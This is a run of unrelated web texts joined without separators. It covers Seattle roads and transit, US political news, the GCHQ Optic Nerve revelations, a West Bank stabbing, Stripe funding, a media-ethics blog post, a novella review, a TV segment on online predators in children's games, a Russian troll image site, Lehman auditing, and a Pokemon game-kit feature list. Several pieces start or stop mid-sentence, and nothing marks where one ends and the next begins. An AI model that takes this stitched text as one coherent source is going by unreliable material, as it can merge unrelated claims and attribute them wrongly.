SR 520 begins in Seattle at I-5 and continues east across Lake Washington on the Evergreen Point Bridge through Bellevue, interchanges with I-405, then turns northeast, passes the main Microsoft campus (which funded an overpass at NE 36th St and an interchange at NE 40th to supplement the existing interchange at NE 51st St), and terminates in Redmond at SR 202. The section between I-5 and Bellevue Way was opened in 1963, with the interchange at I-405 built in 1966. It was further extended to it current terminus between 1973 and 1982. The Washington State Department of Transportation is currently widening the freeway on the Eastside, modifying interchanges, and moving the HOV lanes to the inside of the roadway.
SR 167, also known as the Valley Freeway, begins in Renton at I-405 and continues south through Kent, Auburn, where it interchanges with SR 410, Pacific, and Algona, then interchanges with SR 410, and currently terminates at SR 161. The Valley Freeway was built in stages between 1964 and 1977, with a major upgrade of its southern end in 1986. The Washington State Department of Transportation is currently planning to extend the freeway to Tacoma. SR 167 has HOV lanes between I-405 and SR 18 which also allow single-passenger vehicles to use them for a variable fee, also known as HOT lanes.
SR 99/SR 599, parts of which are also known as West Marginal Way, begins in Tukwila at I-5 and continues north to the First Avenue South Bridge, where it interchanges with SR 509, then continues as a surface street (East Marginal Way) for a few miles, then becomes the Alaskan Way Viaduct, which is in the process of being upgraded and moved into a deep-bored tunnel. After this, SR 99 passes through a cut-and-cover tunnel and emerges as Aurora Avenue, a divided expressway (partial control of access with interchanges) until Green Lake, where it becomes a surface street again. SR 599 was built in 1968, the freeway portion of SR 99 was built in 1956 as was the First Avenue South Bridge (a second structure was built next to the first in the early 1990s), and the Alaskan Way Viaduct was open in 1952, with an extension open in 1959. North of that, Aurora Avenue was built in 1932, including the cantilever/truss George Washington Memorial Bridge.
The West Seattle Freeway begins in Seattle at I-5 and continues west, where it interchanges with SR 99 and terminates at a signal at Fauntleroy Way. The West Seattle Freeway was built in 1941, and the high-level bridge opened in 1984 and the roadway was widened in 2012 between I-5 and SR 99.
Most of the other freeways in the Seattle area are two lanes in each direction and generally travel in a north/south direction, with the exceptions of US 2, SR 410, SR 512, SR 518, SR 526, and Waaga Way. SR 16 is signed east-west but it travels mostly north-south.
Mass transit [ edit ]
Two public transportation agencies serve the city of Seattle: King County Metro Transit and Sound Transit. Snohomish County's Community Transit also runs bus routes to Downtown Seattle and the University of Washington. Sound Transit is the regional transit authority, commissioned by voters in 1996 to build a system of light rail, express buses, and commuter rail within the Central Puget Sound area. The agency provides a number of regional express bus routes connecting Seattle with neighboring suburbs and cities. Its Sounder commuter rail system consists of two lines, linking Seattle with Tacoma along its Southern run and Seattle with Everett along its Northern run. Several stations in intermediate cities along the lines are also served. The light rail system, called Link Light Rail, includes the initial 15.7-mile (25.3 km) Central Link from downtown Seattle to Sea-Tac Airport, which began service in 2009. A 3.15-mile (5.07 km) extension to the University of Washington called University Link began service in 2016. Future extensions approved by voters in 2008 are planned to connect the University of Washington to Northgate, Lynnwood and other areas to the north; east across Lake Washington to Bellevue and Redmond; and south to Federal Way. The Sound Transit 3 ballot measure, passed in 2016, will further expand the system both regionally and within the city, with service to Tacoma, Everett, Issaquah, south Kirkland, and to the neighborhoods Ballard and West Seattle.
ORCA readers at the Chinatown-International District station.
The Downtown Seattle Transit Tunnel is a 1.3-mile tunnel under downtown built in 1987 to relieve bus congestion along surface streets. The tunnel was retrofitted from 2005-2007 to accommodate light rail, and in 2009, Link light rail trains began serving tunnel stations as part of the initial Central Link segment. All tunnel bus routes will be rerouted to surface streets in 2018, making the tunnel an exclusive subway for Link trains within the city core.[19] Above the tunnel, 3rd Avenue through downtown serves as a major bus arterial, with access restricted to buses only during peak commuting hours.[20]
The city is currently in the process of expanding a modern streetcar network. In December 2007, the city inaugurated its South Lake Union Streetcar line between Westlake Center and stops in the South Lake Union neighborhood. In 2009, the Seattle city council approved a second line, the First Hill Streetcar, to connect First Hill to Link light rail at Capitol Hill and International District/Chinatown stations. The line began service in 2016 after two years of delays.[21] Metro Transit also operated a historic Waterfront Streetcar line that ran along Alaskan Way, but the streetcar's maintenance barn was demolished to make room for the Olympic Sculpture Park, resulting in the subsequent closure of the line. King County Metro now operates a replacement bus line that mirrors the route.[citation needed] The proposed City Center Connector project would connect the South Lake Union and First Hill streetcars into a single line with a routing along 1st Avenue in Downtown Seattle.
In 2009, the ORCA Card was introduced as a new way for fare payment between the seven transit agencies in the Puget Sound region. The card uses RFID technology to handle payment from either passes, vouchers, or the E-purse, a stored value debit account. ORCA's precursor, PugetPass, will be retained as one of the several passes that can be loaded automatically onto the card. The system also calculates transfers for a two-hour window for those paying with the E-purse.
The Seattle Center Monorail, constructed for the Century 21 Exposition, runs approximately 1 mile (1.6 km) between Seattle Center in Lower Queen Anne and Westlake Center in Downtown.
Metro Transit offers a trip planner on its web site that provides information for public transit in Seattle and surrounding areas (King, Pierce, and Snohomish counties), including Sound Transit's Regional Express bus routes, Sounder commuter rail, Washington State Ferries, and the Seattle Center Monorail. Riders enter their intended origin and destination, along with optional time, date, and other information, and the trip planner displays itineraries showing the stops, departure and arrival times, and times to get from the origin to the destination. Metro Transit uploads their route schedules to Google and this has spawned a new generation of trip planners such as TransitTrips. BoltBus began offering Seattle's first curbside intercity coach service in May 2012, with Portland as its first destination.[22]
Public transportation statistics [ edit ]
According to Moovit, the average amount of time users in the Seattle area spend commuting with public transit on a weekday was 74 min. 27% of public transit riders, ride for more than 2 hours every day. The average amount of time people wait at a stop or station for public transit is 14 min, while 22% of riders wait for over 20 minutes on average every day. The average distance people usually ride in a single trip with public transit is 12.5 km, while 34% travel for over 12 km in a single direction. [23]
Bicycle [ edit ]
There are extensive multi-use car-free regional pathways linking the city and county to the surrounding areas, including the King County Regional Trails System, which has 175 miles (282 km) of trails throughout the county.[24] Many of the trails were converted from former railways, including the popular Burke-Gilman Trail. The Seattle Department of Transportation aims to develop a 608.3-mile (979.0 km) network of bike lanes, including lanes on streets, protected bike lanes, and trails, within the city by 2034.[25] An urban bike sharing system, named Pronto Cycle Share, was launched in October 2014 and discontinued in March 2017.[26] A pilot program allowing private dockless bike sharing companies to operate within the city began in July 2017, making Seattle the first major city in North America to feature such a system.[27]
Airports [ edit ]
The city's primary commercial airport is Seattle–Tacoma International Airport, locally known as Sea-Tac Airport and located in the city of SeaTac, which is named for the airport. It is operated by the Port of Seattle and is served by a number of airlines connecting the region with international, national, and domestic destinations. The airport is a major hub for Delta Air Lines as well as Alaska Airlines and its regional subsidiary, Horizon Air. Paine Field in Everett will also operate flights beginning in February 2019 pending construction of the new terminal.
Closer to downtown, Boeing Field is used for general aviation, cargo flights, and testing/delivery of Boeing airliners. In 2005, Southwest Airlines requested permission to move passenger operations from Sea–Tac to Boeing Field but were turned down by the county.[28]
See also [ edit ]
References [ edit ]
Peterson, Lorin; Davenport, Noah C. (1950). "Living in Seattle". Seattle: Seattle Public Schools.
Newell, Gordon (1956). "Totem Tales of Old Seattle". Seattle: Superior Publishing Company.The two Cuban-American senators on tonight's Republican debate stage clashed on immigration – each suggesting the other was for amnesty – while also reminding the audience they both spoke Spanish.
Texas Sen. Ted Cruz blasted Florida Sen. Marco Rubio for going on Univision and telling its Spanish-speaking audience that he wouldn't get rid of President Obama's executive action on immigration on day No. 1 of a Rubio administration.
'Well, first of all, I don't know how he knows what I said on Univision since he doesn't speak Spanish,' Rubio blasted.
Cruz replied by yelling Spanish words loudly into his microphone to prove that he did have some mastery of the language in one of the debate's many contentious moments between the six remaining GOP presidential candidates one week before South Carolina voters will head to the polls.
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Ted Cruz (left) and Marco Rubio (right) got into it at tonight's debate in Greenville, South Carolina over the issue of immigration
Marco Rubio (right) suggested that Ted Cruz wouldn't know what the Florida senator said on Univision because he doesn't speak Spanish prompting Cruz to speak Spanish
'That's how you want it? Right now, say it — in Spanish, if you want,' Cruz said en Espanol, according to Vox.
Cruz, who won the Iowa caucuses, has tried for months to make immigration an issue that could take down Rubio, who was rising after his third place finish in Iowa, right on the heels of second-place finisher Donald Trump, but sputtered in New Hampshire after a poor debate performance one week ago courtesy of the loudmouthed New Jersey Gov. Chris Christie.
Christie had ridiculed Rubio for using rehearsed talking points.
With Christie gone, Rubio regained a bit of his footing, taking on Cruz after the Texan labeled the Senate's 2013 attempt to pass comprehensive immigration reform the 'Rubio-Schumer amnesty plan.'
At the time Cruz had offered an amendment to the bill that would have stripped out a path to citizenship for illegal immigrants living in the country, but left legal status language intact.
Cruz has said this was a 'poison pill' to kill the bill, of which Rubio was a sponsor, while Rubio suggests it was proof that Cruz supported giving illegal immigrants a legal status.
'When that issue was being debated, Ted Cruz had a committee hearing and very passionately said, "I want immigration reform to pass, I want people to be able to come out of the shadows" and he proposed an amendment that would have legalized the people here,' Rubio said. 'Not only that, he proposed doubling the number of green cards, he proposed a 500 percent increase on guest workers.'
Yep, that was Spanish: Ted Cruz started speaking in his father's native tongue, after Marco Rubio questioned the Texan's ability to speak Spanish
'Now his position is different, now he is a passionate opponent of all of those things,' Rubio continued.
'So he either wasn't telling the truth then or he wasn't telling the truth now, but to argue that he is a purist on immigration is just not so,' the Florida senator added.
Cruz stood his ground saying that Rubio supported citizenship for all 12 million people living in the United States illegally.
'Marco has a long record when it comes to amnesty, in the state of Florida, as speaker of the house he supported in-state tuition for illegal immigrants,' Cruz said.
'In addition to that, Marco went on Univision in Spanish and said he would not rescind President Obama's illegal executive amnesty on his first day in office.'
And as Cruz spouted in Spanish, after Rubio suggested the Texas senator didn't have a handle on his Cuban father's native tongue, Rubio went back to another favorite attack.
'This is a disturbing pattern now because for a number of weeks now Ted Cruz has just been telling lies,' Rubio said. 'He lied about Ben Carson in Iowa... he lied about marriage, he's lying about all sorts of things and now he makes things up.'When President Donald Trump failed to specifically denounce white supremacists for inciting deadly violence at a “Unite the Right” rally in Charlottesville, Virginia, over the weekend, and instead blamed “many sides,” Americans on both sides of the aisle were outraged.
On Sunday, CNN commentator Van Jones gave a more accurate description of what happened.
″An American citizen was assassinated in broad daylight by a Nazi. A Nazi who the day before had been marching with torches down American streets saying anti-Jewish, anti-black stuff,” Jones said on “State of the Union” Sunday morning. ” He added, “This is not a time to talk about ‘both sides.’”
A large crowd of people was demonstrating against a rally of white supremacists on Saturday when a car plowed into them, killing 32-year-old Heather Heyer. Nineteen others were also injured in the crash.
Police later charged James Alex Fields, 20, of Ohio, with second-degree murder and three counts of malicious wounding and failing to stop at an accident that resulted in a death.
“‘Both sides’ are not using ISIS |
he was "absolutely shocked" at the revelation. "This seems like a very clear invasion of privacy, and I simply can not see what the justification is," he said.
The Optic Nerve documents were provided by the NSA whistleblower Edward Snowden. They show that the programme began as a prototype in 2008 and was still active in 2012.
They chronicle GCHQ's sustained efforts to keep the large store of sexually explicit material Optic Nerve collected away from the eyes of its staff, though there is little discussion about the privacy implications of storing it in the first place.
The system, eerily reminiscent of the telescreens evoked in George Orwell's 1984, was used for experiments in automated facial recognition to monitor GCHQ's existing targets, and to identity new ones.
Nick Pickles, the director of the civil liberties campaign group Big Brother Watch, said intercepting and taking photographs from millions of people's webcam chats was "as creepy as it gets".
"We have CCTV on our streets and now we have GCHQ in our homes. It is right that the security services can target people and tap their communications, but they should not be doing it to millions of people. This is an indiscriminate and intimate intrusion on people's privacy."
Pickles said it was a further example of how the legal and oversight regimes for the security services had failed to keep pace with technological advances.
"It is becoming increasingly obvious how badly the law has failed to keep pace with technology, and how urgently we need a comprehensive review of surveillance law and oversight structures.
"As more people buy technology with built-in cameras, from Xbox Kinect to laptops and smart TVs, we need to be sure that the law does not allow for them to be routinely accessed when there is no suspicion of any wrongdoing. Orwell's 1984 was supposed to be a warning, not an instruction manual."
Carly Nyst, Privacy International's legal director, said the revelation underlined the importance of democratic societies being able to limit the activities of intelligence agencies.
"Today we've found out that the way we now use technology to stay in touch with friends, family and loved ones means many of our most private thoughts and experiences are available for viewing by GCHQ. How can collecting and storing these intimate moments possibly help protect national security?
Alex Abdo, from the American Civil Liberties Union, described the revelations as "truly shocking".
"[It] underscores the importance of the debate on privacy now taking place and the reforms being considered. In a world in which there is no technological barrier to pervasive surveillance, the scope of the government's surveillance activities must be decided by the public, not secretive spy agencies interpreting secret legal authorities."A terrorist infiltrated a house in the West Bank settlement of Halamish (Neve Tzuf) Friday evening and stabbed four people before being neutralized. Three of the victims died of their wounds, while a fourth is in serious condition.
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The terrorist murdered a 70-year-old grandfather and his son and daughter, in their thirties, during a Shabbat dinner. The grandmother, aged 68, was badly wounded.
The scene of the attack (Photo: Yair Sagi)
According to preliminary investigations, the terrorist, 19-year-old Omar al-Abed, from the nearby village of Kobar, entered the settlement at around 9:30pm, broke into the house and stabbed the four.
Omar al-Abed, and the first responders at the scene
The attack took place when about 10 members of the family sat for a Shabbat dinner. When the terrorist burst into the house, the wife of the son who died hid the children in a room, and from there she called the police and screamed that there was a terrorist in the house who was stabbing the occupants.
A neighbor of the family—an IDF Oketz Unit soldier—heard their screams, rushed to the scene and shot the terrorist, moderately wounding him.
Halamish (Photo: AFP)
Before he left for the attack, the terrorist wrote on Facebook a post linking his attack to the riots around the Temple Mount and the tensions over the new security measures introduced at its entrances. "I have many dreams and I believe they will come true, I love life and I love to make others happy, but what is my life is when they (Israel) murder women and children and defile our al-Aqsa."
Hamas issued a statement this evening welcoming the attack, which they called "heroic." According to Hamas, the attack followed "Israel's violation of the rights of our people in Jerusalem and the Al-Aqsa Mosque."
Large IDF forces began searching the town and nearby areas to see if there were other terrorists, and they caught a suspicious unarmed Palestinian outside a settlement, and the IDF is still investigating whether he is somehow connected to the incident.
Earlier, three Palestinian men died in violent clashes with Israeli security forces over the new security measures at the Temple Mount.E-payments company Stripe – founded by two young brothers from Limerick, Patrick and John Collison – has raised US$80m in a Series C funding round that has valued the company at US$1.75bn.
The brothers founded Stripe – which is on the cusp of a breakthrough deal with Twitter to bring e-commerce to the social networking platform – in Silicon Valley less than three years ago.
The company’s technology provides functionality to make it easier for website owners to enable transactions, getting rid of the long drawn-out shopping cart approach and making payments as seamless and easy as buying apps or content on an iPhone.
According to TechCrunch, the Series C funding round has been led by Peter Thiel’s Founders Fund, with new investor Khosla and existing investors Sequoia and Allen & Co, bringing total funding so far to more than US$130m.
Joining the billion-dollar club
The company, which employs 83 people, raised its first round of funding of US$2m in 2011 from investment veterans Peter Thiel, Elon Musk, Sequoia Capital and Andreessen Horowitz. Further funding of US$18m followed in 2012 by Sequoia Capital, valuing Stripe at US$100m at the time.
Of the 83 staff, 22pc are former founders and 36pc hail from outside the US.
Patrick (25) and John Collison (23) sold their first company Auctomatic to Canadian firm Live Current Media for US$5m (€3.2m) when they were 17 and 19, respectively. In recent weeks, the pair were listed among five Irishmen who made the Forbes 30 under 30 list.
In 2012, SecondMarket.com, a New York-based company that has served as a hub for transactions of pre-IPO Facebook stock, informally tipped Stripe as the next Y Combinator company that might be valued at more than US$1bn, following Dropbox and Airbnb.
Speaking with Siliconrepublic.com at the launch of Stripe’s payment service in Ireland last September, Patrick Collison said the motivation is to build one of the world’s best technology companies that makes it easy for businesses of all sizes to enable online transactions.
“Talking about IPOs and stuff at this stage is like trying to decide the career paths of four-year-olds,” said Patrick.
“We want Stripe to work well for the largest companies in the world. It’s part of our motivation – giving people the tools they need to build whatever payments experience that makes sense.”On Media Blog Archives Select Date… December, 2015 November, 2015 October, 2015 September, 2015 August, 2015 July, 2015 June, 2015 May, 2015 April, 2015 March, 2015 February, 2015 January, 2015
Does free media have an obligation to Islam?
In the wake of the Paris terrorist attacks, both America's paper of record (The New York Times) and its network of record (CNN) have declined to show Charlie Hebdo's cartoons of the Islamic Prophet Muhammad on the grounds that they might offend Muslims. The decision to forgo publication of these highly relevant news images has sparked a robust debate about free speech, religion and media ethics. One question that seems to have been glossed over is whether or not the media have any obligations to the preferences of a religious group, or any group of people, in the first place.
As previously noted, the Times has a history of publishing artwork and cartoons that have offended both Jews and Christians. See its coverage of Chris Ofili's "The Holy Virgin Mary" in 1999, which very much offended the Catholic League; an Iranian exhibition of "anti-Jewish art" in 2006; and an Iranian cartoonist's "anti-Jewish caricatures" in 2010. So, at least up until Dean Baquet's tenure as executive editor, which began last year, the Times' policy against "gratuitous insult" did not preclude offensive religious images.
The image of the prophet Muhammad, however, seems to occupy its own category, with its own rules. Last week, Baquet told me via email that as editor of the Times he had to consider "the Muslim family in Brooklyn who read us and is offended by any depiction of what he sees as his prophet." [sic] When I replied, "I just wonder about the Jewish family in Brooklyn," Baquet responded as follows:
I would really do some reporting --- I did -- to make sure these parallels are similar for the two religions.You may find they are not. In fact they really are not.
Baquet's argument, if I'm reading him correctly, is that a cartoonish depiction of Muhammad is more offensive, categorically, than a cartoon that depicts, say, anti-Semitic caricatures of Jews trying to fabricate a Holocaust that, per the cartoonist, never took place.
The actual dictates of Islam are more nuanced than Baquet's reporting may suggest. In today's Times, contributing opinion writer Mustafa Akyol notes that the Quran, "the only source in Islamic law that all Muslims accept indisputably," is quite specific about the appropriate response to those who would mock the prophet.
"[C]onspicuously, the Quran decrees no earthly punishment for blasphemy — or for apostasy (abandonment or renunciation of the faith), a related concept," Akyol writes. "Nor, for that matter, does the Quran command stoning, female circumcision or a ban on fine arts. All these doctrinal innovations, as it were, were brought into the literature of Islam as medieval scholars interpreted it, according to the norms of their time and milieu."
"Before all that politically motivated expansion and toughening of Shariah," Akyol continues, "the Quran told early Muslims, who routinely faced the mockery of their faith by pagans: 'God has told you in the Book that when you hear God’s revelations disbelieved in and mocked at, do not sit with them until they enter into some other discourse; surely then you would be like them.'"
If it were merely a matter of "not sitting" with the cartoonists at Charlie Hebdo -- that is, if there was no threat of gunshots or firebombs, but rather just angry press releases from concerned Muslim organizations -- one wonders whether Baquet would be moved to take the concerns of the Muslim family in Brooklyn more seriously than the concerns of the other families in Brooklyn... Jewish, Christian, Chinese or African-American.
Which returns us to the question: Does a free media have an obligation to respect the preferences of a religious group, or any group? I certainly don't have the answer to that question. But it stands to reason that if a free media has an obligation to not offend one group, then it has an obligation to not offend all groups -- right down to restricting profanity in order to satisfy the Church of Jesus Christ of Latter-day Saints. Otherwise, it's hard not to feel like the decisions being made at the Times are in reaction to potential threats, rather than in accordance with ethical or editorial standards.Brian Evenson’s Science Fiction Novella The Warren will leave you pondering it, probably for the rest of your life.
While reading Brian Evenson’s new science fiction novella The Warren, I continually had to remind myself that I wasn’t reading an already established sci-fi classic. It was that good. I devoured this powerfully chilling novel in about 2 days, and I immediately want to read it again. I know this is probably the most annoying thing I could say, but the last page is so fantastic I have it open in my browser window just to read it over and over throughout the day.
Enter The Warren
The Warren is an intentionally perplexing story following our hero, and one of the only two corporeal characters, X. X is one of many persons created to continue the line of alphabetically named survivors of a planet turned hostile. Sequestered in the underground home and laboratory he calls the warren (mostly likely named for the system of tunnels rabbits dig to serve as underground dens to hide from predators) with only the Monitor (a computer used to teach the people who they are and why/how they got there) for company, X is the first person to be created alone. Before him, every new generation was created as a pair to keep each other company and to keep each other safe from the many ambiguous dangers lurking outside of the warren.
What do I mean by “created,” you ask? Well, that is an excellent question. Without spoiling anything, I can say that each new generation inside the warren is created from “material,” which is never truly explained. Most of the novella is left unexplained, so if that bothers you, take heed.
A Riddle, Wrapped in a Mystery, Inside an Enigma
For those, like myself, who enjoy thinking, The Warren will leave you pondering it probably for the rest of your life. Because of the unanswerable nature of the question of identity, the most prominent theme within the story, it is told in a disjointed and ethereal manner. X, who narrates (in one way or another) the novella knows just as much as the reader, and thus the heavy sense of confusion is palpable on every page.
I’m realizing more and more that it’s impossible to tell you anything without spoiling everything, so the pared-down premise is this: X awakes alone, his head full of voices. His predecessor, out of desperation, imported the consciousness’s of everyone who came before into X’s mind, leaving his own personhood vague and indefinite amongst the sea of others commanding his brain. Eventually, X comes to accept this and refers to his body and the voices within it as “us.”
Not Alone After All
When the collective consciousnesses known as X decides to search for more material to form another person, he realizes he must leave the safety of the warren and venture into the lethally poisonous air. On the surface, X finds another person and unconsciously releases him from his sleep chamber (somewhat like a cryo-tube) and into the world. This creates nothing but trouble for X, and immediately the speed of the novella rips into overdrive.
Danger and mystery double as X slowly discovers more answers and loses more control over his self to the others within his mind. This leads to blackouts in his memory while other minds take over, represented by glowing sets of eyes inside his mind. Unfortunately for X, not every mind he’s housing has the same intentions and ideas. X and the other person freed from their sleep chamber run into each other multiple times, and it never ends well. Eventually, these confrontations force X to question who, and what, he truly is.
The story is a fast read, gripping and engaging from start to finish. As amazing as it was as a standalone novella, I would be ecstatic to read sequels explaining how everything came to be in the post-apocalyptic wasteland Evenson has created. Verdict? I’m saying that science fiction novella The Warren is a definite must read!Transcript for What Your Kids Don't Want You to Know: Online Gaming Dangers
Now to our series what your kids don't want you to know and this morning we are taking on a danger you may not realize exists, your kids can be at risk playing video games in your own home. T.j. Holmes is back on the beat, important information, T.J. Yeah, good morning, robach. I don't want to scare parents but you need to hear this. Even in your own home your child is by himself playing a video game. You still have to be worried because they're not really in there alone. Because of online gaming now, the whole world is in that room with them. It's wildly popular, but parents beware. Predators may be using online gaming to target your child. I honestly didn't think anything like that would ever happen to anybody in my family. Reporter: This woman who we'll call Susan says a stranger approached her son while he was playing clash of clans online with a group of friends. Can you remember well that day and what happened? Yeah, it glooms me definitely. Her son we'll call him Simon was 8 years old at the time and within a matter of minutes, gave his phone number, last name and even sent the stranger a picture of himself. I have it right, the person went from immediately saying hi to send me a picture. Yeah, basically. Reporter: Meanwhile, Susan is at the grocery store and is able to watch this conversation live because her smartphone is synced. What do you see. My son sends a picture just, you know, a goofy little boy picture of his face and the other person sends a picture of a teenage girl but it's a picture of a picture, not a selfie and now I'm starting to realize this is not good. I've got to get him off this game. I am calling my husband at home just saying, get the iPad away from him. He is on with a stranger. Reporter: And they're not the only ones. It happened to 10-year-old Olivia playing the popular game mindgraft. A person calling himself Ben told Olivia he was 12. They texted for weeks. He sent me a photo. It did kind of look like he was 12. Reporter: Olivia's mom was suspicious something wasn't right. She took her daughter's phone one night. I said, send me a picture. He said if I take a picture of every inch of my body will you do the same. I said yes but I'm running out of time but he sent three within 30 seconds. According to the FBI's website, there are 750,000 predators online at any given time and they all coo have a virtual key to your house via the internet. A lot of the online games have multiplayer feature connected to people all across the globe whether that's live chat over a microphone or chat on a keyboard. You can be connected to just about anybody. Reporter: How has that changed your gaming experience, how you use the internet? It just makes me more careful. I always make my codename not a last name or anything that they could find out. Reporter: Did you and dad find yourselves being a little overprotective after this happened? Whenever I get tired and think, oh, I can't figure out another new game, I just remind myself, we were given a little blessing in a situation that keeps us vigilant. Microsoft which owns minecraft sent over a statement saying helping keep kids safer as hauls been a priority and we encourage parents to also may an active role in their church's online actives. A lot of games has a mode you can have invite only and if you turn that on, then the kids have to let someone into that chat but sometimes -- They let lots of people into chose chat rooms. Weaver Ericka souter editor of mom.com joining us. I say that because I know this exact thing hanned in my household with that exact game. Two of my children were texting back and forth with a person posing as a woman who was supposed to be like preventing bullying on the site and they established a relationship with her gave her information. We found out and went crazy. How can parents police this better? It really is a frightening reality for parents. The best thing you can do tell them potential dangers in an age appropriate way. It's interesting. We think nothing of telling them of stranger danger in the real world. Well, the same should go online. They need to know what is inappropriate for their friends to ask. They said my kids said, well, mom, it's a nice woman who is helping us prevent bullying. You have though think of that person as a scary monster because they could be anybody, anything. What rules should you put in place for your children? Very simple rules that mom.me readers have followed. Number one, keep personal information personal. Don't reveal your name, no photos, no phone Numbers. Where you live. Where you live. Either parents information. Number two, online friends should be real-life friends, you never know. That person could say I'm a 12-year-old in a town next door to you but could be a grown person trying to find out more about them. And lastly, you know, don't go into chat rooms or spark up conversations with strangers. That's a huge no-no. Right, I mean, it is so hard because they're so easily influenced and, yet, T.J., I know if you want to keep your kids offline. It's impossible. They need to be online for school most of the time. Areas where kids are at a disadvantage because they don't have connectivity or these guises that some other areas have but like this mother you saw in the piece, she went home and intentionally scared the mess out of her child to let him see that rye at. And that's part of it. You have to empower them to know what to do and to be prepared for it when you're not sitting right there because chances are when they get approached. I had both my kids in tears because I wanted them to know how scary it was and it's important for all parents. Bottom line is you're the parent. You're the boss. Don't let location service, cut it offment don't make purchases, don't give them your passcode and make sure they're not posting content without you knowing. Incredible advice. We appreciate it.
This transcript has been automatically generated and may not be 100% accurate.Ever wonder where the droves of Russian-language Internet trolls get those satirical graphics they deploy to smear Western and Ukrainian leaders? Turns out there's a website with a vast archive of images helping them pepper their posts with visual invective.
Britain's Guardian newspaper reported on April 2 that the website with the Cyrillic address вштабе.рф ("в штабе" translates from Russian as "in the headquarters") hosts thousands of these ready-made images for use by hundreds of paid trolls working for a secretive organization in St. Petersburg.
The images -- mainly crude mash-ups or regular photographs touched up with sarcastic and juvenile captions -- are largely aimed at heaping abuse on Western and Ukrainian officials or portraying Russian President Vladimir Putin as a suave alpha male of the international scene.
Many have racist overtones, like those that portray U.S. President Barack Obama as a monkey (bananas are a consistent motif in these images). Others show Ukrainian President Petro Poroshenko dressed in women's clothing or wielding sex toys.
One image uploaded on April 2 shows Poroshenko dressed in women's lingerie and sitting in front of a computer monitor beaming Obama's image, suggesting an erotic video chat.
"Video Conference About Receiving New Loans For Ukraine," the caption reads.
Guardian journalist Shaun Walker linked the website to the St. Petersburg troll factory based on an interview with a man identified as Marat, who says he worked there for two months before leaving what he described as demeaning working conditions, including fines for tardiness or veering from the pro-Kremlin and anti-West messaging dictated by the bosses.
In an interview with RFE/RL last month, Marat alluded to the role that these satirical graphics -- known as demotivators -- play in the St. Petersburg troll farm. "There's a LiveJournal department, a news department, a department where they create all sorts of images and demotivators," he said.
The website вштабе.рф was registered in Russia, though there are no public records linking it to a specific organization other than a Russia-based website registrar.
One online database, however, shows that it was registered on March 29, 2014, less than two weeks after Russia's takeover of Ukraine's Crimea territory triggered U.S. and EU sanctions targeting the Kremlin.
Marat told RFE/RL that the bosses and workers at the St. Petersburg troll farm "throw everything they've got at Ukraine."
Marat is one of several alumni of this troll farm who have leaked details of the St. Petersburg operation to the media, including to RFE/RL. Several say they became disillusioned with the cynical politics of the job.
The folks at вштабе.рф didn't waste time after Walker's article appeared in The Guardian. Within hours, the site featured an image showing Putin and Obama's heads photoshopped onto two the bodies of two actors reading newspapers.
"The Guardian writes here that your trolls published cartoons about me. Aren't you ashamed?" Obama is shown saying.
Putin replies, "Only for you, Barack."
-- Carl SchreckLONDON (MarketWatch) -- Another day, another accounting mess.
The report on the Lehman Brothers bankruptcy -- and the "Repo 105" accounting trick that seems to have made $50 billion disappear from the balance sheet in the blink of an eye -- doesn't just raise questions as to the liability of Ernst & Young, Lehman's auditor; it raises questions about the entire foundation of public reporting.
What precise purpose does it serve to have a supposedly independent auditor (paid for by the company) sign off on accounts?
From Enron to Lehman to Satyam SAY, +0.00% to Parmalat, it's clear that the major accountants lack either the skill or the determination (or both) to ferret out fraud.
And given that the credit crunch was largely predicated on the lack of faith that not just investors, but banks themselves, had in the quality of accountant-vouched-for assets, there seems to be little value in what these firms provide.
Company executives already are forced to sign off on their accounts. When they are caught lying, companies face liability over disclosure.
So the threats that keep (some) companies honest are there regardless of whether the reports are audited. The outside auditors themselves are assigned a negligible value by the market.
A solution? Here are two admittedly out-there solutions that the Securities and Exchange Commission probably won't adopt.
One is quite simple: get rid of accountants. Who cares? They add no value, and their expenses weigh on the bottom line.
The other would be for someone else to hire the accountant. How about the company's top five shareholders? While the likes of Fidelity would grumble about the added costs and the free-rider benefit to smaller shareholders, they would certainly have an interest in securing a far tougher audit.
In any case, nothing could be worse than the present system: an illusion of transparency and the reality of a black box on financial affairs.
-- Steve Goldstein
Want this type of analysis sent to your inbox? Subscribe to MarketWatch's free MarketWatch First Takes newsletter. Sign up here.Senate Approves Dunford for Second Term As CJCS
WASHINGTON (AP) — The Senate has confirmed Gen. Joseph Dunford’s nomination for a second term as chairman of the Joint Chiefs of Staff.
By voice vote on Wednesday, the Senate backed the highly respected, combat-hardened commander who’s received high marks from Republicans and Democrats. The vote came shortly after the Armed Services Committee had approved the nomination.
Dunford completes his first term Sept. 30. The committee held his confirmation hearing Tuesday, with just days to spare to give him another tour of duty.
Trump in May nominated Dunford to serve a second two-year term as chairman as most military leaders serve two terms. President Barack Obama had tapped Dunford for the job.
Dunford took over as chairman on Oct. 1, 2015, after one year as commandant of the Marine Corps.
© Copyright 2017 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.This is a kit that allows for the user to create a Pokemon game with ease yet still maintains the database and compatibility with most scripts. Unlike Pokemon Essentials for XP and Crazy Ninja Guy’s Kit for Ace (which is not out yet) this does not use external text files instead it uses notetags with custom scripts including Crystal Engine to replicate the games on a core level. Currently there is no ascetic replication but instead used Animated Battle by Victor Sant for customization for those who want to have a perfect visual replication of the battles.
Progress: It’s demo time.
Current Features:
Weapons and Armor tabs still work
Uses Ace Save Engine to allow for multiple files
PP set up already
Item Sorting
Trainer ID and Secret ID
Equipment not restricted to 1 item (that can be changed)
Enemies can also hold items
Friendship
Full Experience Tables
Abilities
Encounters set to work on only one enemy
Party Leader set to be a trainer
Stat formula
Pokeballs
Sprites by species
Shiny Pokemon
Enemy Levels
Genders
Alternate Forms
Multiple Inventories
Rare Candy Effect
Random Hits Effect
Weather Effects carry over into battle (visual right now)
Change the individual Parts of Tilesets
Lunatic Effects (Yanfly’s Scripts for those who aren’t following)
Item and Money Storage
Time Function
Text Warping
Special Buyers (people who only buy certain items)
Absorb Elements
Customizable Party System
Multi Framed Character Sets(characters with a different number of frames than 3) 🙂
Pokemon Following
Can control the following Pokemon
Customizable AI
AVI Video Player
Luck Removed.
Random Dungeons
VS Sequences
Only 4 moves of any one skill type
No game over if you lose.
Ability Effects
Battle HUD
Pokedex setup
Slot Machines
Music Player
Control the Self-Switches of Other Events 😮
Pathfinding Algorithm
Tiles Switching within a tileset by event
Status Menu hidden during in menu unless needed
Weather Battle Effects created
Added many new options for custom effects
Progresssive Timer
Can make events look like Pokemon in Your Party or your character(Now you can put Copycat from Kanto in your fangame)
States aquired from certain tiles
Parallex Mapping options avalible
